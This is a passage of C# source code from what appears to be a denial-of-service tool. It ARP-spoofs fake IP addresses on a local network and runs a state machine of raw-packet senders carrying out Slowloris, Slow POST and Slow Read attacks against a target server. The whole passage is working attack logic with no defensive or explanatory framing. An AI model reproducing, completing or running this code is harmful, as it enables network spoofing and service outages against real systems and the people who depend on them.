private void ArpSpoofAddress(int count, DosSender tester)
{
CreateFakeAddresses(count);
using (Communicator = SelectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 100))
{
Communicator.SetFilter("arp and src " + DestinationIpV4);
foreach (var fakeIpV4Address in FakeIpV4Addresses)
{
for (int i = 0; i < 5; i++)
{
tester.PingAddress(Communicator, fakeIpV4Address);
if (Communicator.ReceivePacket(out var packet) == PacketCommunicatorReceiveResult.Ok && packet.Ethernet.Source == tester.DestinationMac)
{
break;
}
Thread.Sleep(100);
}
tester.SendArpResponse(Communicator, fakeIpV4Address);
}
}
}
public void StartSenders()
{
DestinationMac = GetMacFromIp(DestinationIpV4);
SourceMac = new MacAddress(Regex.Replace(
NetworkInterface.GetAllNetworkInterfaces()
.FirstOrDefault(netInt => SelectedDevice.Name.Contains(netInt.Id))
?.GetPhysicalAddress().ToString() ?? throw new InvalidOperationException(),
".{2}", "$0:").TrimEnd(':'));
if (Ddos)
{
var tester = new DosSender(SourceIpv4, DestinationIpV4, DestinationMac, SourceMac, HostAddress,
SlowLorisKeepAliveData, SlowLorisHeader, SlowPostContentLength, SlowPostHeader,
SlowReadUrl, SourcePort, PortStep);
ArpSpoofAddress(DdosCount, tester);
}
DosSenders = new ConcurrentBag <DosSender>();
for (int i = 0; i < SenderSize; i++)
{
DosSenders.Add(new DosSender(SourceIpv4, DestinationIpV4, DestinationMac, SourceMac, HostAddress,
SlowLorisKeepAliveData, SlowLorisHeader, SlowPostContentLength, SlowPostHeader, SlowReadUrl,
SourcePort, PortStep, Ddos));
}
if (_attackMode == Attacks.SlowRead)
{
foreach (var dosSender in DosSenders)
{
dosSender.WindowSize = (ushort)SlowReadWindowSize;
}
}
//<For logging>
//Random rand = new Random();
//var path = $@"C:\Users\Mystify_PC\source\repos\WpfApp2\test{rand.Next()}.txt";
//var a = File.Create(path);
//a.Close();
//</>
var watcher = new Thread(SearchForPackets);
watcher.Start();
using (Communicator = SelectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 100))
{
while (true)
{
//var logs = "";
foreach (var dosSender in DosSenders)
{
switch (dosSender.Status)
{
case SenderStat.SendSyn:
dosSender.SendSyn(Communicator);
dosSender.Status = SenderStat.WaitingForAck;
//logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)}-- SendingSyn";
break;
case SenderStat.RecievingSlowRead:
if (dosSender.Waited > 7)
{
dosSender.Status = SenderStat.SendSyn;
dosSender.SeqNumber = (uint)new Random().Next();
}
dosSender.Waited++;
break;
case SenderStat.WaitingForAck:
if (dosSender.Waited > 4)
{
dosSender.Status = SenderStat.SendSyn;
dosSender.SeqNumber = (uint)new Random().Next();
}
dosSender.Waited++;
break;
//SLOWLORIS
case SenderStat.SendingAck when _attackMode == Attacks.SlowLoris:
dosSender.SendAck(Communicator);
dosSender.Status = SenderStat.SendingSlowLorisGetHeader;
//logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SendingLorisHeader";
break;
//SLOW-POST
case SenderStat.SendingAck when _attackMode == Attacks.SlowPost:
dosSender.SendAck(Communicator);
dosSender.Status = SenderStat.SedingSlowPostHeader;
//logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowPostHeader";
break;
//SLOW-READ
case SenderStat.SendingAck when _attackMode == Attacks.SlowRead:
dosSender.SendAck(Communicator);
dosSender.Status = SenderStat.SedingGetForSlowRead;
//logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowReadGet";
break;
//SLOWLORIS
case SenderStat.SendingSlowLorisGetHeader:
dosSender.SendSlowlorisNotCompleteGet(Communicator);
dosSender.Status = SenderStat.SendingKeepAliveForSlowLoris;
//logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowlorisGetHeader";
break;
//SLOWLORIS
case SenderStat.SendingKeepAliveForSlowLoris:
dosSender.SendSlowLorisKeepAlive(Communicator);
//logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowlorisKeepAlive";
break;
//SLOW-POST
case SenderStat.SedingSlowPostHeader:
dosSender.SendSlowPostHeader(Communicator);
dosSender.Status = SenderStat.SedingKeepAliveForSlowPost;
//logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowPostHeader";
break;
//SLOW-POST
case SenderStat.SedingKeepAliveForSlowPost:
dosSender.SendSlowPostKeepAlive(Communicator);
//logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowPostKeepAlive";
break;
//SLOW-READ
case SenderStat.SedingGetForSlowRead:
dosSender.WindowSize = (ushort)SlowReadWindowSize;
dosSender.SendSlowReadCompleteGet(Communicator);
dosSender.Status = SenderStat.RecievingSlowRead;
//logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowReadGet";
break;
//SLOW-READ
case SenderStat.SendKeepAliveAckForSlowRead:
dosSender.Status = SenderStat.RecievingSlowRead;
dosSender.SendAck(Communicator);
//logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowReadKeepAlive";
break;
default:
throw new ArgumentOutOfRangeException();
}
Thread.Sleep(SenderTimeOut);
}
Thread.Sleep(SenderWaveTimeOut);
//using (StreamWriter sw = File.AppendText(path))
//{
// sw.Write(logs);
//}
}
}
}